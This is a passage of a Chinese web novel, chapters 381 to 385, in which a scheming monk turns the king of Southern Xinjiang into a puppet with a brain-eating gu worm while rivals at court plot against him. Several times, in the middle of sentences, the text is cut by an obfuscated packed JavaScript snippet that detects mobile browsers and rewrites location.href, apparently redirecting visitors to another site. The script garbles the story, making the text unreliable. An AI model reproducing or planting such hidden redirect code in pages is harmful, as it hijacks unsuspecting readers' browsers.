南疆王此刻的模样已经狼狈得不能再狼狈,额头磕肿了一个大包,血迹沿着鼻梁缓缓流下,又和眼泪鼻涕混成一团,把整张脸都糊得辨识不清。 他不住地抽噎着,整个人跟着一抖一抖,配上表情,竟然显得有些滑稽。 这副模样在天问大师眼中也很熟悉,从前他看着是毫无心机的蠢货,如今再落入眼底,天问大师心里便只剩下了几个字。 装模作样! 南麟是什么时候开始生出异心的? 天问大师忽然之间就不确定了起来。 毕竟在他的印象里,无论是做王子,还是成了王上,南麟永远都是这幅随便恐吓一下,就会六神无主的样子。 这模样,实在是太有欺骗性了。 “大师……” 天问大师沉默的时间着实有些久,他垂下的眼皮将神情挡住,看上去意外地让人心惊肉跳。 南疆王盯着他看了又看,心里忽然一颤,感到背上的寒气也密密麻麻地冒了起来。 他忍不住又低声唤了一句。 “罢了。” 回过神,看着眼前的这张脸,天问大师极快地笑了一下,又状若无事,轻轻叹了口气。 “你能力有限,国师有心算计,你抵抗不住。” “……谢大师。” 南疆王哽了一下,瞧着是对这个评价无可奈何,只能接受的窝囊模样。 天问大师冷眼看着,仍然没发现半分端倪。 定了定神,他继续开口。 “你就这么跑了,朝政由南靖轩接手,他才多大?摆明了是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16175594|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要让国师代为接管,你糊涂!” 无论天问大师说什么,南疆王一律低着脑袋应下,“是,我糊涂!” “眼下王都的一切,肯定都被国师操纵在手中了,”天问大师继续说着,“这对我们的计划不利,王上,贫僧还能再相信你一次吗?” 南疆王愣了一下,随后又以头抢地,咚地一声朝着天问大师磕了下去! “我,我一定不敢辜负大师的心意!” “那就好。” 说这话的时候,天问大师的语气淡淡的,携着一缕凉意,还没等落地,就已经消失得无影无踪了。 南疆王莫名地愣了一下,还没等反应过来,便被天问大师从地上扶了起来。 天问大师又伸手往怀中一摸,拿出一个竹筒。 这东西对南疆王来说便十分熟悉了,是好梦蛊。 他抬眼看了一眼天问大师,后者微微点头,一切尽在不言中。 抿了抿唇,南疆王将竹筒打开,一仰脖,把里面的东西猛地吞进了腹中。 竹叶的清冽香气在喉中蔓延,好梦蛊的蛊虫要放在酒水中才能保存,再由人服用,这便彻底落入体内。 攥着打开的竹筒,感受着腹部隐隐灼烧的热意,南疆王低着头,这才缓缓地把心放回了肚子里去。 天问大师带着好梦蛊上门,证明他这一趟来,本就是要重新起用他—— “!” 思绪还在转动,一阵剧痛猛地从头皮下传来,南疆王身子一僵,随后感到自己的整个脑袋好像都要炸开了! 怎么回事? 这不是好梦蛊! “大,大师……”他瞠目结舌地转头看去。 天问大师背着双手,神情淡漠而温和,对上南疆王的目光,甚至还微微地露出了一个笑容。 “喜欢这份礼物吗,王上?” “你的脑子,用了比不用还要拙劣,还是不要白费这个力气了。” “安心地去吧,王上,日后,一切都交给我来处理。” 剧痛越发猛烈,南疆王眼前发黑,控制不住地倒了下去! “这是,这是……” 第三百八十一章 完全听话的棋子 “这是噬心蛊。” 双手背在身后,天问大师低垂着眉眼,语气清清淡淡的,却让南疆王浑身上下的鸡皮疙瘩全都炸开了! 噬心蛊! 这蛊虫十分霸道凶残,会啃噬掉宿主的脑子,自己取而代之! 想到这儿,南疆王的头更是**一样地疼了起来。 他捂着脑袋不住地哀嚎,又承受不住这猛烈的痛楚,倒在地上开始打滚。 “王上。” 天问大师凝视着他的狼狈模样,又笑了起来。 “你要不要回忆一下,当年,贫僧为什么会选你合作?” 噬心蛊的毒性已经发作到了头顶,南疆王的脑袋里此刻嗡嗡作响,天问大师的话好像隔着一层厚厚的帘子才能传进他的耳中。 抱着脑袋把身体蜷缩成一团,南疆王模模糊糊地回忆起了当年。 当年,老南疆王膝下有五个王子,无论是才能还是武功,就连长相,他都不是最出挑的那个。 可天问大师就是找上了他,原因也非常简单—— “我需要一个听话的棋子,你看上去非常好用。” 当年天问大师的话忽然在耳边响起,南疆王猛地一顿,忍不住哀嚎出声! “大师!我错了大师,我真的错了!你,你再给我一次机会……” 他本来就是一颗听话的棋子,老老实实地在棋盘上站着,也能和下棋的人共同取得胜利。 可他想自己走棋,那下场便自然只有被抛弃这一种了。 “大师!” 悔不当初,南疆王双手胡乱抓着,并且成功地一把捞住了天问大师的僧袍一角。 他用上全身的力气,一时间连脑袋的疼痛都有些感觉不到了。 “大师,大师,”南疆王用力喘息,“求你,再给我一次机会,我保证,不会有比我更知道怎么听话的棋子……” 天问大师并没有急着走开,他静静地站在原地,看着南疆王趴伏在自己身下恳求的样子。 那噬心蛊肯定已经入侵到了南疆王的脑袋里,否则,他也不会这么快就把真心话说了出来。 勾唇一笑,天问大师很有耐心地抱着双臂,一字一句,慢悠悠地道,“可惜啊,晚了。” 南疆王闻言抬起头,眼底的情绪已经开始涣散。 “噬心蛊一下,便没有回头路。” 天问大师说这话的时候,南疆王的身子微微一震,两行鲜血从他鼻子里流下,滴答滴答地沾湿了整片衣襟。 他用力攥着天问大师的动作也渐渐放松,双手无力地朝下垂落,整个人都跟着没了半点力气。 天问大师好心地蹲下身子,扶起他上半身,又抓着南疆王的衣袖,把他的鼻血擦干净。 “你的确是个听话的棋子,”他一边动作,一边说着话,“不过呢,只是和活生生的人相比而已。” “跟真正的傀儡比较起来,你,还差得远。” “这只噬心蛊以我为主,它占据了你的脑袋之后,你才会彻底成为我手下最好用的一颗棋子。” 轻声说着话,天问大师手上一下一下,把南疆王脸上的血都擦干净了。 南疆王双眼紧闭,一动不动,只有呼吸还在均匀地起伏着,能证明他还是个活人。 做完这一切,天问大师后退两步站起身来。 南疆王分明没有意识,却还能跪坐在原地,微微佝偻着的后背显得有些僵硬,又带着说不出的诡异。 “王上,”天问大师看着他的模样,轻声地唤,“该醒来了。” 此话一出,南疆王蓦地睁开了双眼。 明明还是一个人,可他眼底的神情却完全变了。 冷淡,漠然,不带半分情绪。 “南疆王”微微抬头,盯着天问大师看了好半晌,这才眨了眨眼,以极慢的速度朝着他躬身下去。 “主人。” 他轻声开了口,声音沙哑艰涩,吐字的时候也有些一顿一顿的。 心知蛊虫完全消化掉南疆王的脑袋还需要一点时间,天问大师也不着急,抬手一挥,南疆王便又直起身子,恭恭敬敬地站了起来。 “王上被灵美人和国师这对奸人联手所害,险些葬身于此地,幸好贫僧来得及时,救您逃出生天。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190382|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 天问大师束着双手,看向南疆王的时候,眼中带着一抹满意的笑意。 “王上,此等大逆不道之事,万万不能高高拿起,轻轻放下,须得严惩凶手,否则,难以让百姓放心,更难以让那些居心叵测之人收起他们的小九九啊。” 他一口气又说了一长串,南疆王还是没什么反应,只一双眼睛直勾勾地盯着天问大师,又歪了歪脑袋。 天问大师也不着急,沉默地等候着。 足足过去一盏茶的时间,南疆王才动了,他点了点头,又不悦地哼了一声。 “狼子野心,实在可恶!幸亏有大师相助,您的大恩大德,本王记下了!” “本王现在就要回宫,召集人手,擒拿逆党!” 比起刚才,南疆王这一番话说得就顺畅多了,嗓音也流畅起来,和从前相比更像了不少。 天问大师嘴角的弧度忽然落下几分,又走上前去。 “王上,眼下宫中朝中都已经被国师全盘掌握,您孤身一人回去,恐怕,恐怕只能是打草惊蛇啊。” 南疆王闻言立刻眉头一皱。 “不错,本王也以为正是如此,本王手中无人,还请大师万万不要推辞,再助本王一臂之力!” 天问大师不着痕迹地挽住南疆王的手臂。 “得王上信任,贫僧荣幸之至,不过贫僧只是一介佛门弟子,手中并没有能立刻拿下国师和灵美人的法宝。” “王上想捉妖,可如今宫中的情况如何,你我都不清楚,我看不如这样,王上带贫僧回宫,咱们先看看,再做打算。” “大师好计谋!” 说到这一句话的时候,南疆王腰背挺直,眼神清明,口齿也变得流利清晰,俨然正是一副一国之君的高贵模样。 天问大师多看了两眼,这才放心地收回目光,捡起火折子,走在前面带路。 “王上请,上面备好了茶水,您先歇歇脚,贫僧让人去安排马车。” “有劳大师!” 两人走出暗室,来到上方的宅院之中,刚走到一间院子门前,天问大师忽然顿住了脚步。 第三百八十二章 是静颜师傅让奴婢来的 “谁让你来的?” 盯着二堂门外站着的小丫鬟,天问大师语气沉沉。 这小丫鬟手中托着一个托盘,上面放着热气腾腾的茶水,显然是刚刚才到。 他们刚上来,便碰上这样的巧合? 天问大师面上不显,背在身后的双手却攥成了拳头。 “好大胆的下人!” 南疆王沉声低喝,“竟然敢打探主子行踪,你有几个脑袋可以掉?” 小丫鬟抬眼一看,认出自己眼前的是谁,再加上这声急色厉的质问,她心一慌,手一软,托盘啪地一声重重地摔落在地! 与此同时,顾不上飞溅起的茶水和碎裂的瓷片,小丫鬟猛地屈起双膝,在两人面前跪了下去。 “大师,王上……” 哆哆嗦嗦地,小丫鬟恐慌到了极点,连话都有些不会说了。 “是,是静颜师傅让奴婢来送茶水的……” 她哽咽着道出一句,身子抖若筛糠,连跪都有些跪不住了。 “静颜?” 天问大师顿了顿,神情里的厉色倒是收敛了几分。 “他让你现在过来?”天问大师问着话,又一摆手,“起来说话。” 小丫鬟吓得手脚发软,脑子也不灵光了,试了好几次才从地上爬起来,缩着脖子重新在天问大师面前站好。 “回大师的话,”她还在哆嗦着,“静颜师傅一早便吩咐了,只是,只是宅子里没有现成的上好茶叶,水也要重新烧,奴婢只有一个人,来来去去便多花了些时间……” 咽了咽口水,仿佛是找到了面前这两位主子发怒的原因,小丫鬟又把脑袋深深地埋进胸口,“是奴婢粗手笨脚,耽搁了时间,请大师责罚!” 天问大师这时候垂眸朝地上看去,碎裂的茶杯里盛着的,正是眼下王都里最时兴的茶叶。 “静颜去了什么地方?”他仿若不经意地问道。 小丫鬟似乎又哆嗦得更厉害了。 “奴婢,奴婢不知……只看见静颜师傅接了一封信,便要了马车,外出离开了……” 说到最后,大概是没能回答得出天问大师的问题,小丫鬟的声音又变得哽咽起来。 “罢了。” 收回目光,天问大师的神情重新变得恬淡。 “再备些茶水送来,动作快些。” “是!奴婢马上就去!” 小丫鬟闻言如蒙大赦,弯腰将地上的瓷片飞快地捡起来,又转身狂奔,仿佛生怕慢上一点儿,便又会被叫回去问责似的。 天问大师背着手,没去管身后的脚步声,抬手将南疆王迎入屋中。 “王上请,有些事情,贫僧还是与您先商议一下为好……” 天问大师和南疆王的这场对话,持续到了这一天的傍晚。 直到太阳西斜,紧闭了大半天的房门才重新打开。 天问大师和南疆王一前一后走出,这一回,静颜和尚便安安静静地等在外面了。 “见过王上。”看见南疆王出现,静颜先是躬身拜见,起身的时候,又飞快地朝着天问大师投去一眼。 天问大师看见了也当自己没看见,又道,“去让人准备一下,今天晚上,王上便暂时在府上歇脚,明日一早入宫。” “弟子这就去!” 静颜闻言连忙应下,又转身离开。 院中没有旁人,天问大师便也不再伪装,转头提点了南疆王几句,要他呆在屋中不许离开。 “大师放心,本王哪儿都不去。”南疆王的语气这时候也带上了卑微,缩着脖子,躬着后背,看不出半点一国之君的气派。 安顿好一切,天问大师这才转身,朝着静颜离开的方向快步走去。 “白天那是出了什么事?” 静颜并未走得太远,就站在院落外的一个角落,天问大师快步上前,又压低了声音询问。 他们此来王都,走得突然,也没有长留的打算,大部分的消息和人手还都在万源。 静颜便是负责处理那边的消息,闻言他便知道不必再解释,直接把那封密信交到了天问大师手中。 天问大师拆开一看,先是双眼一亮! 谢无咎突发剧毒,情况似乎十分凶险? 定了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190383|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定神,天问大师又深吸一口气,好让自己保持冷静。 “这消息是从哪儿来的?可靠吗?” 他还没忘了安王的居心叵测,想挑动他和谢无咎鹬蚌相争,只靠一次可不够。 静颜的表情也变得严肃了几分。 “徒儿下午便是让人去核实的,这消息是咱们放在夏镇的人送出来的,应该不会有错。” “今天早上,叶晚竹一行人的马车路过夏镇,在那里的医馆停下买药,全都是遏制蛊毒的药材。” “买药的人是叶晚竹,脸色非常难看,他们一行人也匆忙得很,马车赶得飞快,朝着西边离开了。” 天问大师的势力本就深深扎根在南疆,这里的大小城镇都有他放下的暗哨。 既然是自己人,又不是从万源来的消息,天问大师的顾虑顿时也跟着打消了大半。 “从夏镇往西,是到王都来的必经之路,”他捻了捻手里的信纸,“谢无咎这是要到王都来求医?” 静颜也思考着,“雾川缺医少药,万源也没好到哪里去,叶晚竹问了一味碧华散,最好的成色就在王都。” 天问大师嘴角的笑容这便渐渐扩大了。 碧华散是遏制蛊毒的良方,却对谢无咎身上的毒性没有任何作用。 看来,谢无咎是真出了事,还很急,恐怕连半句话都没来得及说就不行了,只能靠叶晚竹等人东拼西凑,四处打听。 “天助我也,天助我也啊。” 长长地吐出一口气,天问大师将密信收好,又拍了拍静颜的肩膀。 “去城中安排一下,盯好城门,一旦谢无咎他们进城,便立即来报。” 静颜点头应下,看天问大师没有要再说话的意思,忍不住多嘴一句。 “师傅,那咱们的人,要不要也安排他们现在出发?” 快马加鞭,应该能赶在谢无咎一行之前。 天问大师却摆了摆手。 “不必,让他们守好万源,尤其是死死盯住安王和靖安侯的动静。” “那王都这边……” “为师自有安排。” 第三百八十三章 计中有计 又说了两句,把万源的事情安排好,看天色不早,天问大师便摆了摆手,让静颜先行离开。 “王上这边,是不是需要人过来伺候?”临走之前,静颜忽然又想起了一件事。 天问大师却一摆手。 “不必,”他压低声音,“恰恰相反,今天晚上,不许任何人靠近这间院子。” 静颜虽然不太理解,但闻言也低头应了下来。 倒是天问大师又叫住了他。 “下午那个端茶的丫鬟,是你的安排?” 天问大师事后回想起来,还是有些不对劲。 这里是他的府邸,王都里人人皆知,怎么会有一个丫鬟? 静颜点了点头,语气透露着无奈。 “您先前不在京中,府上只有小厮,实在把屋子打理得一塌糊涂,徒儿来了几趟都没好转,无法,只能寻了几个丫鬟来接手。” 天问大师这才恍然,这间院落比起从前,这趟他来似乎是变得干净了不少。 “这些丫鬟都是孤儿,师傅放心便是。”静颜又顿了顿,“白日是腾不出功夫,徒儿这会儿已经让她们暂且离开,到别苑去小住几日。” 两人都是和尚,屋中总不方便有婢女。 别苑也是天问大师的私产,把守十分严密。 听到这儿,天问大师这才算彻底放下心来,又朝着静颜露出一个微笑。 “很好,看来,为师不在的这些日子里,你成长不少!” 师徒二人说着话分道扬镳,各自回到屋中去,直到这座宅子彻底安静下来,一个人影才小心翼翼地从角落探出头。 确认四下无人,她脚步轻灵,身形隐蔽,像一个没有主人的影子一样,从后门飘出了天问大师的府邸。 城中街上的灯笼洒下一道暗光,将她的面容照亮,正是之前那个等在门外,给天问大师端茶送水的婢女。 她登上早就等在一条街外的马车,无声无息地朝王宫方向而去。 静颜对天问大师说的话都是真的,他找来的那些丫鬟,这会儿也的确已经被转移到别苑看管了起来。 可多的这一个,便没有人会发现了。 马车滚滚向前,很快便停在王宫角门。 虽然都是宫城,但比起大梁皇宫的守卫森严,南疆王宫的安保情况便疏忽多了。 已经入夜,这丫鬟却依旧用腰牌叫开了门,又一路畅通无阻地往后宫的方向而去。 王宫里静悄悄的,南疆王表面称病,其实根本就不在宫中,下人们知道也不敢说,平时越发小心谨慎,入了夜更是不敢随便走动。 而年仅八岁的优亲王南靖轩,晚上还不敢一个人睡觉,白日在宫中假装理政,到了晚上便会被接回王府找母妃。 没有王上,这座宫殿便好似被抽走了活气一般。 这丫鬟将脚步加快再加快,绕过层层殿堂,终于在一座雕梁画栋的宫殿外停下脚步拐了进去。 “王后!奴婢回来了!” 压着心里的激动进到殿中,一眼看见坐在椅子上还没休息的贵妇,丫鬟便快走两步,冲到她面前轻声道。 南疆王妃见着这个丫鬟也是眼神一闪,起身一把握住她的手腕。 “怎么样?”她语气透着急不可耐的味道。 殿中空无一人,侍女也早就被遣退到院中去了。 丫鬟怀月是南疆王妃身边嬷嬷的亲生女儿,虽然不曾跟着她进到宫中,却最为忠心。 不然的话,王妃也不会将她派去做这样的任务。 怀月小嘴一张,语速极快,将白日里见到天问大师和南疆王一道出现,还有傍晚时分天问大师和静颜之间的对话全都原原本本地复述了出来。 “王后,奴婢看着……王上的情况好像不太对劲。” 怀月不仅是端着托盘在等待,天问大师刚一入府,她就听到了消息,是眼睁睁地看着这位进到府中那间从来不许人打扫的院子里,待了好长时间的。 她百分之百确认南疆王先前并不在天问大师府上,期间也没人来过,可这两位却就是这么出现了! 听着怀月的话,王后的神情有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190384|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阴沉沉的。 发现南疆王不见了踪影,她第一时间便想到了这个跟在自己夫君身边多年的大师,所谓的谋士。 王后出身高贵,是南疆第一贵族慕家长女,自幼得家中精心教导,文韬武略精通,还有一手好医术。 无奈她十三岁那年被老南疆王在宫宴上看中,一纸婚约,将她指给了三王子南麟。 南麟是个胸无大志,不学无术的闲散王子,一看就不是争夺王位的料,可当时的南疆二王子野心勃勃,一心想和慕家联姻,好给自己增添实力。 老南疆王并不看好二王子,更不想让他的势力壮大,便将慕家这个最强的助力送给了最不可能的儿子。 如此一来,他谁也不偏心,放手让王子们公平竞争,却唯独牺牲了王后的一辈子。 也是因此,南麟和天问大师接触,王后充耳不闻,甚至还有意推波助澜,帮着夫君斩获王位。 可事情再往后发展,天问大师的手越伸越长,王后便感到不对劲了。 南疆王却十分信任天问大师,甚至甘心居于他之下,做一个傀儡王上,王后这才发现烂泥堆上金山也是金山上的烂泥,只好自己悄悄做些准备。 没想到,还真让她抓住了端倪。 “果然是他。” 王后的声音婉转,像夜莺鸟在歌唱,语气却冰冷如刀。 “处心积虑将王上掳走,又在王都制造这么多混乱,天问大师的心思,想来是已经彻底掩藏不住了!” 王都已经乱成一锅粥,人人都想趁机分一杯羹,眼下是最好的下手时间。 天问大师。 念叨着这个名字,王后的神情也渐渐变得冷酷。 不过是一个光头,也想踩着皇室的肩膀上位? 她绝不允许! “你刚才说,他们要追查一个叫谢无咎的人是吧。” 心念一动,王后又朝着怀月看去,“你现在就回家去,把这个消息告诉父亲母亲,让他们赶快动手,一定要赶在天问之前,把这个人的行踪查得一清二楚!” 第三百八十四章 安王,最美的光! “哦?谢无咎毒发了?” 无独有偶,这个消息很快也传到了安王的耳朵里。 看着打探消息的影卫点头的动作,再听他说起谢无咎等人一路快马加鞭,前往南疆王都的行程,安王一只手撑着脑袋,神情闪烁不定。 靖安侯走进屋中的时候,看到的就是这么一番景象。 “殿下,”他快步上前,“怎么,您觉得事情不对?” 安王慢吞吞地抬起眼皮,往他身上扫了一下。 “你不觉得这事情有些太巧合了吗?谢无咎早就中了毒,一直安然无恙,怎么咱们这边刚一动手,他就忽然毒发了?” 抬起手指叩击桌面,安王的语气又变了变。 “本王要是没记错,天问大师和他的徒弟,前几天也往王都去了吧?” 这话一出,靖安侯的神情顿时变了,他转了转眼珠子,连忙抬手一招,让屋中的下人们离开这里。 “王爷,”等所有人都退下,靖安侯才皱起眉,“您怀疑他们合作?这,这不太可能吧?” 天问大师和谢无咎之间的恩怨横亘了十几年,他对叶晚竹也是居心不良,这种情况之下,两方人马怎么能摒弃隔阂? 就算有人发现了安王在其中的手段,也不太可能化敌为友吧? 想着那两方人握手言和的场景,靖安侯不由得感到一阵惊悚。 “一切皆有可能。” 安王看着他的模样,大概也能明白靖安侯在想什么,他低声对上一句,垂下眉眼,表情明显更加难看。 倘若这两方合作,对他来说,那可是劲敌。 “臣这就往王都派人!”靖安侯想来想去,坐不住了,“一定将情况调查得一清二楚!” 他刚要起身离开,却又被安王叫住。 “王都那边,我已经让人去查了。” 拿到消息的第一时间,安王便给王都去了信。 谢无咎和天问大师合作,是他能想到的最坏的打算,无论如何,那边的情况他都要尽快知道。 “你去替我办另外一件事。” 看着靖安侯眉头紧蹙的紧张模样,安王站起身,从身后的书桌上拿起一个信封。 里面已经放上了一张薄薄的信纸,安王又伸出手,当着靖安侯的面儿,把自己随身的玉佩解下来,一并塞了进去,才把封口沾上。 靖安侯上前接过这个沉甸甸的信封,听着安王道,“你现在就出发,带着这封信到京城去,和倪宰相见个面。” 倪宰相是两朝老臣,安王和靖安侯还在京城的时候,他便在朝中供职,靖安侯对他并不陌生。 “把信给他,”安王说得简短,“看过之后,他会知道自己该怎么做的。” 靖安侯低头看着被自己捏在手里的信,一时间没说话。 昭德帝已死,大梁的京城陷入群龙无首的状态很长时间了。 因着天问大师先前闹的那一场,眼下京城连出入都不得,俨然是一座死城。 一国之都变成现在这个样子,不用说都知道肯定是人心惶惶。 偏生,当年那场皇子夺嫡轰轰烈烈,残暴血腥,皇室成员几乎全都死在了那场争斗之中。 遭逢如此劫难,京城那边现在却连一个皇室宗亲都找不出来,只能靠着谢无咎和倪宰相这样的朝中大员撑场面。 倪宰相是个忠臣,一心忠诚于大梁,不会愿意看到江山落入旁人之手。 这个时候,如果有一个皇室宗亲的消息出现,那无疑是一道最美的光! 京城的情况一直都在靖安侯的掌握之中,当初倪相爷连明明有谋反之嫌的孟希越都要做主留下,如今面对安王的消息,这位老臣一定不会无动于衷。 只是…… “殿下,如果出现意外,又该如何?” 这段时间出现的意外实在是太多了,让人防不胜防,想着,靖安侯到底还是问了一句。 毕竟,安王是皇室宗亲,谢无咎的身份也不是完全拿不出手! 万一倪宰相已经知道了实情,那他再去,岂不是自投罗网? 安王闻言顿了顿,又轻笑一声。 “所以本王才让你现在去。” 无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16196686|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 论谢无咎是真的毒发,还是和天问大师合谋要演戏,这段时间他都不能正大光明地向外传信。 “本王在信中交代了谢无咎的死讯。” 想了想,安王还是决定把真实情况和盘托出。 “倪宰相无论信与不信,都势必会想办法联系谢无咎,等他发现得不到回应……你猜,到了那个时候,他要不要相信本王的话?” 不知死活,和摆在眼前的皇族血脉,不用想也知道该选哪个吧。 “况且,谢无咎这么多年来把自己造作得不男不女,声名狼藉,倪相爷最是恪守规矩的一个人,有更好的选择,他肯定会考量的。” 安王又在桌前坐了下来,翘起一条腿晃着,语气优哉游哉,仿佛十分惬意。 靖安侯这才恍惚想起,当年,倪大人还不是宰相,曾经给年少时候的安王当过老师。 “再怎么样,我这个弟子在倪相爷心中,多少还是有些分量的。” 安王又笑了一声,语气透着笃定。 “去吧,”他抬眼看向靖安侯,“快马加鞭,莫要耽搁,我这边也会加快速度,最好能抓住一个合适的时机,将谢无咎一举除掉。” 如此一来,倪宰相就算是真要反悔,也没了后退的权利! “是!” 靖安侯低头应是,却又暗暗咋舌。 这一招连环杀机,还真是危险重重,让人防不胜防! “去吧。” 安王站起身,走到靖安侯面前,抬手在他肩膀上重重地拍了一下。 “景辉,”安王语气沉沉,“此事关乎重大,千万不能出任何差错!” 他手上用了些力气,又捏住了靖安侯的肩膀,微微疼痛压下,靖安侯的眉眼也跟着冷肃。 “殿下放心,臣一定亲手把信送到倪宰相手中!” 靖安侯将信封小心翼翼地揣进怀里,又朝安王行了一礼,方才头也不回地大步离开。 他骑着快马立刻前往京城,中途不敢有半刻耽搁,饶是如此,在跑**五匹好马之后,靖安侯方才来到了安王别院之外。 第三百八十五章 不得不服 这个时候,距离他出发已经过去了五天,一路疯狂前行,靖安侯连人带马都是一身狼狈。 他裹着满是尘土的斗笠下了马,又牵着已经跑不动的马儿硬是往前,走到安王别院门外,抬手在紧闭的院门上叩击了几下。 “谁?” 一个警惕的声音立刻便从里面传了出来。 “我找倪宰相,有重要的消息传达。”靖安侯隔着院门和里面的人说话。 他也不是一路直接冲到别院来的,昨天晚上,靖安侯便抵达了京城附近,先给假扮影四的那个影卫传了消息,从他口中了解了一些眼下的情况。 据那个影卫所说,倪宰相显然是对安王还活着的这个消息十分看重,不仅为此和隐月打起了擂台,甚至还不知道用了什么手段,硬是压制住了隐月,还有谢无咎手下的那些东厂侍卫。 如今安王别院的大事小情都已经由倪宰相一手主管,隐月等人只能承担基本的跑腿和守卫作用。 倪宰相这段时间私下来找过这影卫几次,问的都是和安王有关的消息。 听了这些,再想想安王临行前说的话,靖安侯的心里便更是有了底气。 他又在院外等了片刻,大门从里面被打开一条缝,露出一双写满警惕的眼睛,对着靖安侯上下打量。 靖安侯把话又说了一遍,同时附上了自己的腰牌。 “……进来吧。” 里面的人看过腰牌,又支支吾吾地犹豫了片刻,这才把门打开,一副不情不愿的样子。 这是怎么当差的? 收回腰牌挂号,靖安侯本是蹙着眉头,想说这门前的侍卫实在不像话,可等院门大开,里面的人露出真身,他便立刻打消了这个念头。 此人一身东厂锦衣卫装束,赫然是谢无咎的手下。 “看什么看?”这个锦衣卫注意到了靖安侯的目光,表情十分不快,“还不赶紧进来?” 比起刚才,他说话的时候越发鼻子不是鼻子,眼睛不是眼睛的。 靖安侯却没了方才的不悦,还有心情朝着他勾唇一笑。 “有劳,替本侯带路吧。” 能让心不甘情不愿的锦衣卫替他看门,还把自己这个安王的心腹放进来,靖安侯想,也不知道倪宰相是用了什么好办法。 姜还是老的辣啊! 他一路向前,院中各处负责把守通口的全都是锦衣卫,并且每一个人的表情都很难看。 替他领路的这个锦衣卫在二堂的拱门外被叫住,出声的是另一个锦衣卫。 “这是什么人?” 斜眼看着靖安侯,此人的表情十分不好。 领路的锦衣卫抿了抿唇,小声道,“安王的人。” 他话音落下,那个锦衣卫的表情就跟着变了,看上去咬牙切齿的。 他直勾勾地瞪着靖安侯,似乎恨不得立刻就把他大卸八块! “放肆!” 眉头一皱,靖安侯低喝一声,“区区下人,见到本侯不行礼也就罢了,为何还做出这般表情?难道你是对本侯有什么意见不成?” 他声急色厉,附近的又几个锦衣卫听到这边的动静,连忙上前七手八脚地将那个愤怒的锦衣卫连拖带抱地拽走。 饶是如此,这一众锦衣卫们对上靖安侯,依旧是没有多少恭敬的态度,反而眼底盛着冷漠不悦的光。 把入院来的一切都看在眼底,靖安侯这这会儿已经能完全放下心来。 这些锦衣卫如此仇视于他,却还是没有动手。 看来,整个安王别院当真是彻底落入了倪宰相的掌控之下! “哼!岂有此理!” 心里卸下了一块大石头,靖安侯面上却依旧是一副愤怒难当的模样,甚至还将腰间的佩剑拔出一半。 “你们这些刁奴!简直是好大的狗胆!敢在本侯面前撒野,本侯今日就杀一儆百,送你们上黄泉!” 冷冰冰地说着话,他抬腿便要追上那个先前出言不逊的锦衣卫。 “侯爷!” 就在这时,一道声音从内堂传来。 靖安侯一愣之下,连忙转过身子,看着倪宰相一脸紧张,脚下如飞地朝着自己走了过来!

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16196687|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 